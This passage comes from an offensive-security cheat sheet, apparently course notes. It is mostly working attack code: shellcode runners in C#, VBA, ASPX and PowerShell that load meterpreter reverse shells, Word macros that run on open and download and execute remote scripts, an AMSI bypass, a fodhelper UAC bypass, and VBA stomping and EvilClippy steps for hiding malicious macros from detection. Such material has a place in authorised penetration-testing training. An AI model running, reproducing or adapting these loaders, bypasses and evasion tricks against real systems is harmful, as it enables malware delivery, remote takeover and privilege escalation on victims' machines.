            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]&lt;br /&gt;
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
         // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {SHELLCODE-HERE!!!};&lt;br /&gt;
        for(int i = 0; i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
